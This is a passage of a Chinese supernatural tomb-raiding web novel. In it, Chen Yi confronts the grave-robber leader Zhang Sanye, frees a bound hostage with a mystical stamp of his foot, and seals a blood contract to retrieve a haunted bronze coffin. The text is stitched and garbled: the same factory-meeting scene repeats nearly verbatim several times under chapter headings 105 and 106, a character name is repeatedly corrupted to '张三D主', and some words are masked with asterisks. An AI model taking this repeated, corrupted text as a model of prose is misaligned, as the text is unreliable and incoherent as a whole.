他们眼神锐利,太阳穴微微鼓起,那是常年游走在生死边缘,才能磨砺出的杀气与警觉。
篝火旁,为首的是一个穿着唐装的中年男人。
他约莫五十岁上下,面容清瘦,留着一撮山羊胡,手里不紧不慢地盘着两颗核桃,发出“咔咔”的轻响。
他看到陈义进来,并未起身,只是抬了抬眼皮,嘴角噙着一抹意味不明的笑意。
“陈八爷,久仰大名。鄙人张金城,道上朋友给面子,叫我一声三爷。”
摸金门如今的掌舵人之一,张三爷。
在他身后的阴影里,老七被麻绳五花大绑地捆在一根水泥柱子上,嘴里塞着布团。
看到陈义,他拼命挣扎,喉咙里发出“呜呜”的声响,眼中满是焦急与愧疚。
陈义的目光在老七身上停顿了一瞬,随即移开,落在了张三爷的脸上。
“我兄弟要是少了一根头发。”
陈义的声音很平静,像是在陈述一件早已注定的事。
“我让你整个摸金门,都给他陪葬。”
“咔。”
张三爷手里盘着的核桃,停住了。
他脸上的笑意也收敛了干净,那双浑浊的眼中,终于透出了一丝凝重。
他感受到了,眼前这个年轻人身上那股子毫不掩饰的、令人灵魂都感到战栗的杀气。
“呵呵,陈八爷说笑了。”张三爷干笑两声,试图打破这凝固的气氛,“我们是请您来帮忙,不是来结仇的。只要事成,您的兄弟,我们自然毫发无伤地送回。我们摸金门,还想和义字堂交个朋友。”
“我不需要挖人祖坟的朋友。”陈义直接顶了回去,语气冰冷,没有丝毫转圜的余地。
张三爷的脸色彻底沉了下来。
“陈八爷,看来你还没搞清楚状况。现在,是你有求于我。”
“是吗?”
陈义反问了一句,忽然抬起右脚,对着脚下的水泥地,轻轻一跺。
“咚!”
一声闷响,不重,却仿佛一柄无形的巨锤,狠狠砸在了每个人的心脏上!
下一秒,异变陡生!
十几米外,绑着老七的那根半米粗的水泥柱子,毫无征兆地,从中间“咔嚓”一声,浮现出一道蛛网般的裂痕!
紧接着,整根柱子,竟如被风化的砂岩般,无声地崩解、垮塌!
张三爷身后两名心腹反应极快,如猎豹般窜出,在漫天烟尘中,险之又险地架住了失去支撑的老七。
但他们脸上,已然被惊骇与恐惧所填满。
他们根本没看到陈义做了什么!
这一脚,仿佛不是跺在地上,而是跺在了此地风水格局的某个节点上,以一种他们无法理解的方式,撬动了规则!
张三爷的瞳孔骤然收缩成一个针尖,死死盯着陈义。
他终于明白,为什么道上传言,这个年轻人能凭一己之力镇住京城那帮牛鬼蛇神了。
这已经不是“武”的范畴。
这是“术”!是神鬼莫测的手段!
“你……”
“现在,我们可以好好谈谈了吗?”陈义打断他,语气依旧平淡,“我时间有限。”
张三D主深吸一口气,强行压下心头的惊涛骇浪。
他挥了挥手,让人把老七带到一旁,态度明显恭敬了许多。
“好,陈八爷快人快语。”他从怀里掏出一卷泛黄的羊皮地图,在火光前摊开,“我们要进的,是这座汉代冠军侯的‘悬棺墓’。”
地图上,描绘着一座险峻的山谷,谷中峭壁之上,用朱砂笔标注着一个巨大的骷髅头。
“这位冠军侯,生前杀伐过重,死后怨气不散,已化尸王。他的墓,我们前后折了三批好手进去,都有去无回。”张三爷指着地图,声音沉重。
“墓中最凶险的,不是机关,不是粽子,而是那口悬在百丈峭壁半空的青铜棺。它被九条玄铁链锁着,任何人只要靠近,就会被一股无形的力量瞬间吸干精血,化为枯骨。”
“我们的人查到,义字堂的‘八仙抬棺阵’,不只是抬棺的蛮力,更是一种能**邪祟的阳气阵法。只要棺材不落地,阳气不散,百邪不侵。”
张三爷的眼睛里,透出一丝无法掩饰的渴望。
“我们想请陈八爷出手,用您的阵法,将那口棺材,从悬崖上完整地抬下来。”
胖三在一旁听得心惊胆战,忍不住插嘴:“我说三爷,这……这不是让我们去送死吗?那地方那么邪门,还抬棺材?怕是棺材没抬下来,我们自己先进去了!”
张三D主冷冷地瞥了他一眼,没说话,只是伸出了五根手指。
胖三一愣:“五百万?”
张三爷轻蔑地笑了:“是救我摸金门老太爷的一条命,再加五千万的香火钱。”
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胖三的呼吸瞬间急促起来。
“我们不要钱。”
陈义的声音,像一盆冰水,浇在胖三头上。
“哦?”张三爷饶有兴致地看着他,“那陈八爷想要什么?”
陈义的目光,落在那卷羊皮地图上。
他的【阴阳两判鳞】早已悄然发动,在他眼中,这张地图上升腾着一股浓郁到化不开的黑气,黑气中,是无数张痛苦挣扎的人脸。
这墓,比张三爷描述的还要凶险百倍。
那冠军侯,根本不是简单的尸王,而是以整座山脉的地气为食,养了千年的“地煞将军”。
而那口悬棺,就是它的心脏。
“我要的,你给不起。”陈义收回目光,语气平静,“但我可以帮你们。不过,我有我的规矩。”
“请讲。”
“第一,进了墓,所有事情,我说了算。你们摸金门的人,必须听我号令,谁敢不从,后果自负。”
张三爷眉头一挑。
“第二,事成之后,棺材里的东西,我要一半。”
“不可能!”张三爷立刻否决,“陈八爷,你这是狮子大开口!我们费了这么大劲,就是为了棺中那枚能救命的‘太一真丹’!”
“那就没得谈。”陈义干脆利落,转身欲走。
“等等!”张三爷咬了咬牙,眼中闪过一丝决绝,“可以!但真丹必须归我们!”
只要能拿到真丹,救了老太爷的命,其他的陪葬品,都可以舍弃。
“可以。”陈义点头。
他根本不在乎什么真丹。
他要的,是那口棺材本身,以及那具养了千年的“地煞将军”。
这对于苏家老宅地下的青铜巨棺来说,可是不可多得的大补之物。
“第三条规矩呢?”张三爷沉声问。
陈义看向他,一字一顿地说道:
“第三,我需要八个人布阵。我义字堂来了七个,还差一个。你的人,得有一个,随我一同入阵,共担风险。”
张三爷一怔,瞬间明白了陈义的用意。
这是要拉他的人下水,当人质。
一旦开阵,八人一体,气机相连,谁也无法中途脱身,否则就是阵毁人亡的下场。
他看了一眼身后一个身材魁梧,气息最为彪悍的汉子。
那汉子会意,重重地点了点头。
“好,我答应你。”张三爷沉声道,“我最好的兄弟,‘**’,随你入阵。”
“成交。”
陈义从胖三手中拿过那个紫檀木盒,打开。
里面并非什么法器,而是一沓厚厚的黄裱纸,和一支饱蘸朱砂的毛笔。
他当着张三爷的面,提笔悬腕,在黄裱纸上迅速画下一道繁复的符箓。
那符文似鸟篆,似龙章,组合在一起,竟隐隐构成了一口古朴的棺材图案。
“按个手印吧。”
陈义将黄纸推了过去。
“这是‘抬棺契’。签了,生死有命。谁要是敢中途反悔,坏了规矩,不用我动手,祖师爷自会收了他。”
张三爷盯着那张散发着诡异气息的黄纸,只觉得一股寒意从脚底直冲天灵盖。
他犹豫了片刻,最终还是咬破指尖,将一个血红的指印,重重地按在了那棺材图案的正中央。
在他按下手印的瞬间。
“呼——”
那张黄纸无火自燃,升腾起一缕青烟。
青烟在空中没有散去,而是凝聚成一个模糊的“奠”字,停留了一瞬,才缓缓消散。
契约,已成。
“走吧。”
陈义站起身,目光穿过厂房的破洞,望向远处那片沉睡在黑暗中的山峦。
“去见见这位冠军侯。”
“时辰,快到了。”
第105章 签我生死契,抬棺你得听我的!
夜色如墨,侵吞了京郊黑风口的最后一丝光亮。
这里曾是乱葬岗,后又沦为废弃的工业区,如今只剩下一座座残破厂房,如同匍匐在黑暗中的钢铁巨兽。
锈迹斑斑的铁架在夜风中发出呜咽,像是无数亡魂在低语。
一辆黑色的红旗轿车,如幽灵般悄无声息地滑入这片死地,停在一座巨大的废弃炼钢厂前。
车门推开,陈义率先下车。
他依旧是一身简单的黑色便装,那根从不离身的乌木杠木却并未带来。
他空着手,神情冷漠地打量着眼前这座钢铁坟场,空气中弥漫着一股陈年铁锈、机油和……泥土深处泛上来的陈腐气息。
胖三和大牛紧随其后。
胖三怀里死死抱着一个紫檀木盒,额头布满细密的冷汗,他压低声音,牙齿都在轻颤:
“义哥,这地方邪性得慌……我怎么感觉,比葬龙谷还瘆人?”
大牛则背着一个巨大的帆布包,鼓鼓囊囊,分量惊人。他一言不发,如一尊铁塔护在陈义身侧,警惕地扫视着四周的黑暗。
陈义并未理会胖三,目光穿透黑暗,落在空无一人的厂房门口,声音平淡地响起。
“人我带来了,东西呢?”
声音不大,却在空旷的厂区里激起一圈圈无形的回音。
回应他的,是死一般的寂静。
只有风声,在锈蚀的管道间穿行,发出鬼魅般的尖啸。
大牛眉头紧锁,魁梧的身躯上前一步,将陈义护在身后。
就在这时。
“嘎——吱——”
炼钢厂那扇巨大的铁门,发出令人牙酸的摩擦声,缓缓向内开启一道能容一人通过的缝隙。
一个沙哑的声音从门后传来,带着一股子常年不见天日的阴冷。
“陈八爷果然守信。请吧,我们三爷,已恭候多时。”
“八爷?”胖三愣了愣,瞬间反应过来,这是道上对陈义的尊称。义字堂八人,陈义为首,是为“八爷”。
陈义面无表情,径直抬脚,向那道黑暗的门缝走去。
“义哥!”胖三下意识地想去拉。
“跟上。”
陈义头也不回,两个字,不容置喙。
胖三与大牛对视一眼,只能咬着牙,快步跟了进去。
炼钢厂内部空间极大,高耸的穹顶下,废弃的设备管道交错纵横,宛如一头巨兽被剖开后露出的森森白骨与内脏。
正中央的空地上,生着一堆篝火,火光摇曳,将十几个人的影子投射在斑驳的墙壁上,扭曲拉长,如同鬼影。
那十几人个个气息沉凝,身上都带着一股土腥与血腥混合的独特气味。
他们眼神锐利,太阳穴微微鼓起,那是常年游走在生死边缘,才能磨砺出的杀气与警觉。
篝火旁,为首的是一个穿着唐装的中年男人。
他约莫五十岁上下,面容清瘦,留着一撮山羊胡,手里不紧不慢地盘着两颗核桃,发出“咔咔”的轻响。
他看到陈义进来,并未起身,只是抬了抬眼皮,嘴角噙着一抹意味不明的笑意。
“陈八爷,久仰大名。鄙人张金城,道上朋友给面子,叫我一声三爷。”
摸金门如今的掌舵人之一,张三爷。
在他身后的阴影里,老七被麻绳五花大绑地捆在一根水泥柱子上,嘴里塞着布团。
看到陈义,他拼命挣扎,喉咙里发出“呜呜”的声响,眼中满是焦急与愧疚。
陈义的目光在老七身上停顿了一瞬,随即移开,落在了张三爷的脸上。
“我兄弟要是少了一根头发。”
陈义的声音很平静,像是在陈述一件早已注定的事。
“我让你整个摸金门,都给他陪葬。”
“咔。”
张三爷手里盘着的核桃,停住了。
他脸上的笑意也收敛了干净,那双浑浊的眼中,终于透出了一丝凝重。
他感受到了,眼前这个年轻人身上那股子毫不掩饰的、令人灵魂都感到战栗的杀气。
“呵呵,陈八爷说笑了。”张三爷干笑两声,试图打破这凝固的气氛,“我们是请您来帮忙,不是来结仇的。只要事成,您的兄弟,我们自然毫发无伤地送回。我们摸金门,还想和义字堂交个朋友。”
“我不需要挖人祖坟的朋友。”陈义直接顶了回去,语气冰冷,没有丝毫转圜的余地。
张三爷的脸色彻底沉了下来。
“陈八爷,看来你还没搞清楚状况。现在,是你有求于我。”
“是吗?”
陈义反问了一句,忽然抬起右脚,对着脚下的水泥地,轻轻一跺。
“咚!”
一声闷响,不重,却仿佛一柄无形的巨锤,狠狠砸在了每个人的心脏上!
下一秒,异变陡生!
十几米外,绑着老七的那根半米粗的水泥柱子,毫无征兆地,从中间“咔嚓”一声,浮现出一道蛛网般的裂痕!
紧接着,整根柱子,竟如被风化的砂岩般,无声地崩解、垮塌!
张三爷身后两名心腹反应极快,如猎豹般窜出,在漫天烟尘中,险之又险地架住了失去支撑的老七。
但他们脸上,已然被惊骇与恐惧所填满。
他们根本没看到陈义做了什么!
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张三爷的瞳孔骤然收缩成一个针尖,死死盯着陈义。
他终于明白,为什么道上传言,这个年轻人能凭一己之力镇住京城那帮牛鬼蛇神了。
这已经不是“武”的范畴。
这是“术”!是神鬼莫测的手段!
“你……”
“现在,我们可以好好谈谈了吗?”陈义打断他,语气依旧平淡,“我时间有限。”
张三D主深吸一口气,强行压下心头的惊涛骇浪。
他挥了挥手,让人把老七带到一旁,态度明显恭敬了许多。
“好,陈八爷快人快语。”他从怀里掏出一卷泛黄的羊皮地图,在火光前摊开,“我们要进的,是这座汉代冠军侯的‘悬棺墓’。”
地图上,描绘着一座险峻的山谷,谷中峭壁之上,用朱砂笔标注着一个巨大的骷髅头。
“这位冠军侯,生前杀伐过重,死后怨气不散,已化尸王。他的墓,我们前后折了三批好手进去,都有去无回。”张三爷指着地图,声音沉重。
“墓中最凶险的,不是机关,不是粽子,而是那口悬在百丈峭壁半空的青铜棺。它被九条玄铁链锁着,任何人只要靠近,就会被一股无形的力量瞬间吸干精血,化为枯骨。”
“我们的人查到,义字堂的‘八仙抬棺阵’,不只是抬棺的蛮力,更是一种能**邪祟的阳气阵法。只要棺材不落地,阳气不散,百邪不侵。”
张三爷的眼睛里,透出一丝无法掩饰的渴望。
“我们想请陈八爷出手,用您的阵法,将那口棺材,从悬崖上完整地抬下来。”
胖三在一旁听得心惊胆战,忍不住插嘴:“我说三爷,这……这不是让我们去送死吗?那地方那么邪门,还抬棺材?怕是棺材没抬下来,我们自己先进去了!”
张三D主冷冷地瞥了他一眼,没说话,只是伸出了五根手指。
胖三一愣:“五百万?”
张三爷轻蔑地笑了:“是救我摸金门老太爷的一条命,再加五千万的香火钱。”
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胖三的呼吸瞬间急促起来。
“我们不要钱。”
陈义的声音,像一盆冰水,浇在胖三头上。
“哦?”张三爷饶有兴致地看着他,“那陈八爷想要什么?”
陈义的目光,落在那卷羊皮地图上。
他的【阴阳两判鳞】早已悄然发动,在他眼中,这张地图上升腾着一股浓郁到化不开的黑气,黑气中,是无数张痛苦挣扎的人脸。
这墓,比张三爷描述的还要凶险百倍。
那冠军侯,根本不是简单的尸王,而是以整座山脉的地气为食,养了千年的“地煞将军”。
而那口悬棺,就是它的心脏。
“我要的,你给不起。”陈义收回目光,语气平静,“但我可以帮你们。不过,我有我的规矩。”
“请讲。”
“第一,进了墓,所有事情,我说了算。你们摸金门的人,必须听我号令,谁敢不从,后果自负。”
张三爷眉头一挑。
“第二,事成之后,棺材里的东西,我要一半。”
“不可能!”张三爷立刻否决,“陈八爷,你这是狮子大开口!我们费了这么大劲,就是为了棺中那枚能救命的‘太一真丹’!”
“那就没得谈。”陈义干脆利落,转身欲走。
“等等!”张三爷咬了咬牙,眼中闪过一丝决绝,“可以!但真丹必须归我们!”
只要能拿到真丹,救了老太爷的命,其他的陪葬品,都可以舍弃。
“可以。”陈义点头。
他根本不在乎什么真丹。
他要的,是那口棺材本身,以及那具养了千年的“地煞将军”。
这对于苏家老宅地下的青铜巨棺来说,可是不可多得的大补之物。
“第三条规矩呢?”张三爷沉声问。
陈义看向他,一字一顿地说道:
“第三,我需要八个人布阵。我义字堂来了七个,还差一个。你的人,得有一个,随我一同入阵,共担风险。”
张三爷一怔,瞬间明白了陈义的用意。
这是要拉他的人下水,当人质。
一旦开阵,八人一体,气机相连,谁也无法中途脱身,否则就是阵毁人亡的下场。
他看了一眼身后一个身材魁梧,气息最为彪悍的汉子。
那汉子会意,重重地点了点头。
“好,我答应你。”张三爷沉声道,“我最好的兄弟,‘**’,随你入阵。”
“成交。”
陈义从胖三手中拿过那个紫檀木盒,打开。
里面并非什么法器,而是一沓厚厚的黄裱纸,和一支饱蘸朱砂的毛笔。
他当着张三爷的面,提笔悬腕,在黄裱纸上迅速画下一道繁复的符箓。
那符文似鸟篆,似龙章,组合在一起,竟隐隐构成了一口古朴的棺材图案。
“按个手印吧。”
陈义将黄纸推了过去。
“这是‘抬棺契’。签了,生死有命。谁要是敢中途反悔,坏了规矩,不用我动手,祖师爷自会收了他。”
张三爷盯着那张散发着诡异气息的黄纸,只觉得一股寒意从脚底直冲天灵盖。
他犹豫了片刻,最终还是咬破指尖,将一个血红的指印,重重地按在了那棺材图案的正中央。
在他按下手印的瞬间。
“呼——”
那张黄纸无火自燃,升腾起一缕青烟。
青烟在空中没有散去,而是凝聚成一个模糊的“奠”字,停留了一瞬,才缓缓消散。
契约,已成。
“走吧。”
陈义站起身,目光穿过厂房的破洞,望向远处那片沉睡在黑暗中的山峦。
“去见见这位冠军侯。”
“时辰,快到了。”
第105章 签我生死契,抬棺你得听我的!
夜色如墨,侵吞了京郊黑风口的最后一丝光亮。
这里曾是乱葬岗,后又沦为废弃的工业区,如今只剩下一座座残破厂房,如同匍匐在黑暗中的钢铁巨兽。
锈迹斑斑的铁架在夜风中发出呜咽,像是无数亡魂在低语。
一辆黑色的红旗轿车,如幽灵般悄无声息地滑入这片死地,停在一座巨大的废弃炼钢厂前。
车门推开,陈义率先下车。
他依旧是一身简单的黑色便装,那根从不离身的乌木杠木却并未带来。
他空着手,神情冷漠地打量着眼前这座钢铁坟场,空气中弥漫着一股陈年铁锈、机油和……泥土深处泛上来的陈腐气息。
胖三和大牛紧随其后。
胖三怀里死死抱着一个紫檀木盒,额头布满细密的冷汗,他压低声音,牙齿都在轻颤:
“义哥,这地方邪性得慌……我怎么感觉,比葬龙谷还瘆人?”
大牛则背着一个巨大的帆布包,鼓鼓囊囊,分量惊人。他一言不发,如一尊铁塔护在陈义身侧,警惕地扫视着四周的黑暗。
陈义并未理会胖三,目光穿透黑暗,落在空无一人的厂房门口,声音平淡地响起。
“人我带来了,东西呢?”
声音不大,却在空旷的厂区里激起一圈圈无形的回音。
回应他的,是死一般的寂静。
只有风声,在锈蚀的管道间穿行,发出鬼魅般的尖啸。
大牛眉头紧锁,魁梧的身躯上前一步,将陈义护在身后。
就在这时。
“嘎——吱——”
炼钢厂那扇巨大的铁门,发出令人牙酸的摩擦声,缓缓向内开启一道能容一人通过的缝隙。
一个沙哑的声音从门后传来,带着一股子常年不见天日的阴冷。
“陈八爷果然守信。请吧,我们三爷,已恭候多时。”
“八爷?”胖三愣了愣,瞬间反应过来,这是道上对陈义的尊称。义字堂八人,陈义为首,是为“八爷”。
陈义面无表情,径直抬脚,向那道黑暗的门缝走去。
“义哥!”胖三下意识地想去拉。
“跟上。”
陈义头也不回,两个字,不容置喙。
胖三与大牛对视一眼,只能咬着牙,快步跟了进去。
炼钢厂内部空间极大,高耸的穹顶下,废弃的设备管道交错纵横,宛如一头巨兽被剖开后露出的森森白骨与内脏。
正中央的空地上,生着一堆篝火,火光摇曳,将十几个人的影子投射在斑驳的墙壁上,扭曲拉长,如同鬼影。
那十几人个个气息沉凝,身上都带着一股土腥与血腥混合的独特气味。
他们眼神锐利,太阳穴微微鼓起,那是常年游走在生死边缘,才能磨砺出的杀气与警觉。
篝火旁,为首的是一个穿着唐装的中年男人。
他约莫五十岁上下,面容清瘦,留着一撮山羊胡,手里不紧不慢地盘着两颗核桃,发出“咔咔”的轻响。
他看到陈义进来,并未起身,只是抬了抬眼皮,嘴角噙着一抹意味不明的笑意。
“陈八爷,久仰大名。鄙人张金城,道上朋友给面子,叫我一声三爷。”
摸金门如今的掌舵人之一,张三爷。
在他身后的阴影里,老七被麻绳五花大绑地捆在一根水泥柱子上,嘴里塞着布团。
看到陈义,他拼命挣扎,喉咙里发出“呜呜”的声响,眼中满是焦急与愧疚。
陈义的目光在老七身上停顿了一瞬,随即移开,落在了张三爷的脸上。
“我兄弟要是少了一根头发。”
陈义的声音很平静,像是在陈述一件早已注定的事。
“我让你整个摸金门,都给他陪葬。”
“咔。”
张三爷手里盘着的核桃,停住了。
他脸上的笑意也收敛了干净,那双浑浊的眼中,终于透出了一丝凝重。
他感受到了,眼前这个年轻人身上那股子毫不掩饰的、令人灵魂都感到战栗的杀气。
“呵呵,陈八爷说笑了。”张三爷干笑两声,试图打破这凝固的气氛,“我们是请您来帮忙,不是来结仇的。只要事成,您的兄弟,我们自然毫发无伤地送回。我们摸金门,还想和义字堂交个朋友。”
“我不需要挖人祖坟的朋友。”陈义直接顶了回去,语气冰冷,没有丝毫转圜的余地。
张三爷的脸色彻底沉了下来。
“陈八爷,看来你还没搞清楚状况。现在,是你有求于我。”
“是吗?”
陈义反问了一句,忽然抬起右脚,对着脚下的水泥地,轻轻一跺。
“咚!”
一声闷响,不重,却仿佛一柄无形的巨锤,狠狠砸在了每个人的心脏上!
下一秒,异变陡生!
十几米外,绑着老七的那根半米粗的水泥柱子,毫无征兆地,从中间“咔嚓”一声,浮现出一道蛛网般的裂痕!
紧接着,整根柱子,竟如被风化的砂岩般,无声地崩解、垮塌!
张三爷身后两名心腹反应极快,如猎豹般窜出,在漫天烟尘中,险之又险地架住了失去支撑的老七。
但他们脸上,已然被惊骇与恐惧所填满。
他们根本没看到陈义做了什么!
这一脚,仿佛不是跺在地上,而是跺在了此地风水格局的某个节点上,以一种他们无法理解的方式,撬动了规则!
张三爷的瞳孔骤然收缩成一个针尖,死死盯着陈义。
他终于明白,为什么道上传言,这个年轻人能凭一己之力镇住京城那帮牛鬼蛇神了。
这已经不是“武”的范畴。
这是“术”!是神鬼莫测的手段!
“你……”
“现在,我们可以好好谈谈了吗?”陈义打断他,语气依旧平淡,“我时间有限。”
张三D主深吸一口气,强行压下心头的惊涛骇浪。
他挥了挥手,让人把老七带到一旁,态度明显恭敬了许多。
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“墓中最凶险的,不是机关,不是粽子,而是那口悬在百丈峭壁半空的青铜棺。它被九条玄铁链锁着,任何人只要靠近,就会被一股无形的力量瞬间吸干精血,化为枯骨。”
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张三爷的眼睛里,透出一丝无法掩饰的渴望。
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胖三在一旁听得心惊胆战,忍不住插嘴:“我说三爷,这……这不是让我们去送死吗?那地方那么邪门,还抬棺材?怕是棺材没抬下来,我们自己先进去了!”
张三D主冷冷地瞥了他一眼,没说话,只是伸出了五根手指。
胖三一愣:“五百万?”
张三爷轻蔑地笑了:“是救我摸金门老太爷的一条命,再加五千万的香火钱。”
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陈义的目光,落在那卷羊皮地图上。
他的【阴阳两判鳞】早已悄然发动,在他眼中,这张地图上升腾着一股浓郁到化不开的黑气,黑气中,是无数张痛苦挣扎的人脸。
这墓,比张三爷描述的还要凶险百倍。
那冠军侯,根本不是简单的尸王,而是以整座山脉的地气为食,养了千年的“地煞将军”。
而那口悬棺,就是它的心脏。
“我要的,你给不起。”陈义收回目光,语气平静,“但我可以帮你们。不过,我有我的规矩。”
“请讲。”
“第一,进了墓,所有事情,我说了算。你们摸金门的人,必须听我号令,谁敢不从,后果自负。”
张三爷眉头一挑。
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“那就没得谈。”陈义干脆利落,转身欲走。
“等等!”张三爷咬了咬牙,眼中闪过一丝决绝,“可以!但真丹必须归我们!”
只要能拿到真丹,救了老太爷的命,其他的陪葬品,都可以舍弃。
“可以。”陈义点头。
他根本不在乎什么真丹。
他要的,是那口棺材本身,以及那具养了千年的“地煞将军”。
这对于苏家老宅地下的青铜巨棺来说,可是不可多得的大补之物。
“第三条规矩呢?”张三爷沉声问。
陈义看向他,一字一顿地说道:
“第三,我需要八个人布阵。我义字堂来了七个,还差一个。你的人,得有一个,随我一同入阵,共担风险。”
张三爷一怔,瞬间明白了陈义的用意。
这是要拉他的人下水,当人质。
一旦开阵,八人一体,气机相连,谁也无法中途脱身,否则就是阵毁人亡的下场。
他看了一眼身后一个身材魁梧,气息最为彪悍的汉子。
那汉子会意,重重地点了点头。
“好,我答应你。”张三爷沉声道,“我最好的兄弟,‘**’,随你入阵。”
“成交。”
陈义从胖三手中拿过那个紫檀木盒,打开。
里面并非什么法器,而是一沓厚厚的黄裱纸,和一支饱蘸朱砂的毛笔。
他当着张三爷的面,提笔悬腕,在黄裱纸上迅速画下一道繁复的符箓。
那符文似鸟篆,似龙章,组合在一起,竟隐隐构成了一口古朴的棺材图案。
“按个手印吧。”
陈义将黄纸推了过去。
“这是‘抬棺契’。签了,生死有命。谁要是敢中途反悔,坏了规矩,不用我动手,祖师爷自会收了他。”
张三爷盯着那张散发着诡异气息的黄纸,只觉得一股寒意从脚底直冲天灵盖。
他犹豫了片刻,最终还是咬破指尖,将一个血红的指印,重重地按在了那棺材图案的正中央。
在他按下手印的瞬间。
“呼——”
那张黄纸无火自燃,升腾起一缕青烟。
青烟在空中没有散去,而是凝聚成一个模糊的“奠”字,停留了一瞬,才缓缓消散。
契约,已成。
“走吧。”
陈义站起身,目光穿过厂房的破洞,望向远处那片沉睡在黑暗中的山峦。
“去见见这位冠军侯。”
“时辰,快到了。”
第106章 想抬棺?先签生死状!
夜色浓稠如墨,吞掉了京郊黑风口的最后一丝光。
这里曾是乱葬岗,后又沦为废弃的工业区,如今只剩下一座座残破厂房,像一头头匍匐在黑暗中的钢铁巨兽。
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一辆黑色的红旗轿车,如幽灵般滑入这片死地,无声地停在一座巨大的废弃炼钢厂前。
车门推开,陈义率先下车。
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他神情冷漠地打量着眼前这座钢铁坟场。
胖三和大牛紧随其后。
胖三怀里死死抱着一个紫檀木盒,额头全是冷汗,牙齿都在打颤:“义哥,这地方邪性……比葬龙谷还瘆人。”
大牛则背着一个巨大的帆布包,鼓鼓囊囊,分量沉重。他像一尊铁塔护在陈义身侧,沉默地扫视四周黑暗。
陈义没有理会胖三,目光穿透黑暗,落在空无一人的厂房门口。
“人我带来了,东西呢?”
他的声音不大,却在空旷的厂区里激起一圈圈无形的回音。
回应他的,是死一般的寂静。
只有风声,在锈蚀的管道间穿行,发出鬼魅般的尖啸。
大牛眉头紧锁,魁梧的身躯上前一步,挡在陈义身前。
就在这时。
“嘎——吱——”
炼钢厂那扇巨大的铁门,发出令人牙酸的摩擦声,缓缓向内开启一道缝隙。
一个沙哑的嗓音从门后传来,带着股常年不见天日的阴冷。
“陈八爷果然守信。请吧,我们三爷,已恭候多时。”
“八爷?”胖三愣了愣,瞬间反应过来,这是道上对陈义的尊称。
义字堂八人,陈义为首,是为“八爷”。
陈义面无表情,径直抬脚,走向那道黑暗的门缝。
“义哥!”胖三下意识想拉。
“跟上。”
陈义头也不回,两个字,砸得胖三心头一颤。
胖三与大牛对视一眼,只能咬着牙跟了进去。
炼钢厂内部空间极大,高耸的穹顶下,废弃的设备管道交错纵横,宛如一头巨兽被剖开后露出的森森白骨与内脏。
正中央的空地上,生着一堆篝火。
火光摇曳,将十几个人的影子投射在斑驳的墙壁上,扭曲拉长,如同鬼影。
那十几人个个气息沉凝,身上都带着一股土腥与血腥混合的独特气味,眼神锐利,太阳穴微微鼓起。
这是常年游走在生死边缘,才能磨砺出的杀气。
篝火旁,为首的是一个穿着唐装的中年男人。
他约莫五十岁上下,面容清瘦,留着一撮山羊胡,手里不紧不慢地盘着两颗核桃,发出“咔咔”的轻响。
他看到陈义进来,并未起身,只是抬了抬眼皮,嘴角噙着一抹意味不明的笑。
“陈八爷,久仰大名。鄙人张金城,道上朋友给面子,叫我一声三爷。”
摸金门如今的掌舵人之一,张三爷。
在他身后的阴影里,老七被麻绳五花大绑地捆在一根水泥柱子上,嘴里塞着布团。看到陈义,他拼命挣扎,喉咙里发出“呜呜”的声响,眼中满是焦急与愧疚。
陈义的目光在老七身上停顿了一瞬,随即移开,落在了张三爷的脸上。
“我兄弟要是少了一根头发。”
陈义的声音很平静,像是在陈述一件早已注定的事。
“我让你整个摸金门,都给他陪葬。”
“咔。”
张三爷手里盘着的核桃,停住了。
他脸上的笑意也收敛干净,那双浑浊的眼中,终于透出了一股子寒意。
他感受到了,眼前这个年轻人身上那股子不加掩饰的,能让灵魂都感到冰冷的杀气。
“呵呵,陈八爷说笑了。”张三爷干笑两声,试图打破这凝固的气氛,“我们是请您来帮忙,不是来结仇的。只要事成,您的兄弟,我们自然毫发无伤地送回。”
“我不需要挖人祖坟的朋友。”陈义直接顶了回去。
张三爷的脸色彻底沉了下来。
“陈八爷,看来你还没搞清楚状况。现在,是你有求于我。”
“是吗?”
陈义反问一句,忽然抬起右脚,对着脚下的水泥地,轻轻一跺。
“咚!”
一声闷响,不重,却仿佛一柄无形的巨锤,狠狠砸在了每个人的心脏上!
下一秒,异变陡生!
十几米外,绑着老七的那根半米粗的水泥柱子,毫无征兆地,从中间“咔嚓”一声,浮现出一道蛛网般的裂痕!
紧接着,整根柱子,竟如被风化的砂岩般,无声地崩解、垮塌!
张三爷身后两名心腹反应极快,如猎豹般窜出,在漫天烟尘中,险之又险地架住了失去支撑的老七。
但他们脸上,已然被惊骇与恐惧所填满。
他们根本没看到陈义做了什么!
这一脚,仿佛不是跺在地上,而是跺在了此地风水格局的某个节点上,用一种他们无法理解的方式,撬动了规则!
张三爷的瞳孔骤然收缩成一个针尖,死死盯着陈义。
他终于明白,为什么道上传言,这个年轻人能凭一己之力镇住京城那帮牛鬼蛇神了。
这已经不是“武”的范畴。
这是“术”!
是神鬼莫测的手段!
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“现在,我们可以好好谈谈了吗?”陈义打断他,语气依旧平淡,“我时间有限。”
张三爷胸口剧烈起伏,强行压下心头的惊涛骇浪。他挥了挥手,让人把老七带到一旁,态度已然恭敬了许多。
“好,陈八爷快人快语。”
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“我们要进的,是这座汉代冠军侯的‘悬棺墓’。”
地图上,描绘着一座险峻的山谷,谷中峭壁之上,用朱砂笔标注着一个巨大的骷髅头。
“这位冠军侯,生前杀伐过重,死后怨气不散,已化尸王。他的墓,我们前后折了三批好手进去,都有去无回。”张三爷指着地图,声音沉重。
“墓中最凶险的,不是机关,不是粽子,而是那口悬在百丈峭壁半空的青铜棺。它被九条玄铁链锁着,任何人只要靠近,就会被一股无形的力量瞬间吸干精血,化为枯骨。”
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张三爷的眼睛里,透出无法掩饰的渴望。
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胖三在一旁听得心惊肉跳,忍不住插嘴:“我说三爷,这……这不是让我们去送死吗?那地方那么邪门,还抬棺材?”
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这墓,比张三爷描述的还要凶险百倍。
那冠军侯,根本不是简单的尸王,而是以整座山脉的地气为食,养了千年的“地煞将军”。
而那口悬棺,就是它的心脏。
“我要的,你给不起。”陈义收回目光,语气平静,“但我可以帮你们。不过,我有我的规矩。”
“请讲。”
“第一,进了墓,所有事,我说了算。你们摸金门的人,必须听我号令,谁敢不从,后果自负。”
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“不可能!”张三爷立刻否决,“陈八爷,你这是狮子大开口!我们费了这么大劲,就是为了棺中那枚能救命的‘太一真丹’!”
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“等等!”张三爷咬了咬牙,眼中闪过一丝决绝,“可以!但真丹必须归我们!”
只要能拿到真丹,救了老太爷的命,其他的陪葬品,都可以舍弃。
“可以。”陈义点头。
他根本不在乎什么真丹。
他要的,是那口棺材本身,以及那具养了千年的“地煞将军”。
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“第三条规矩呢?”张三爷沉声问。
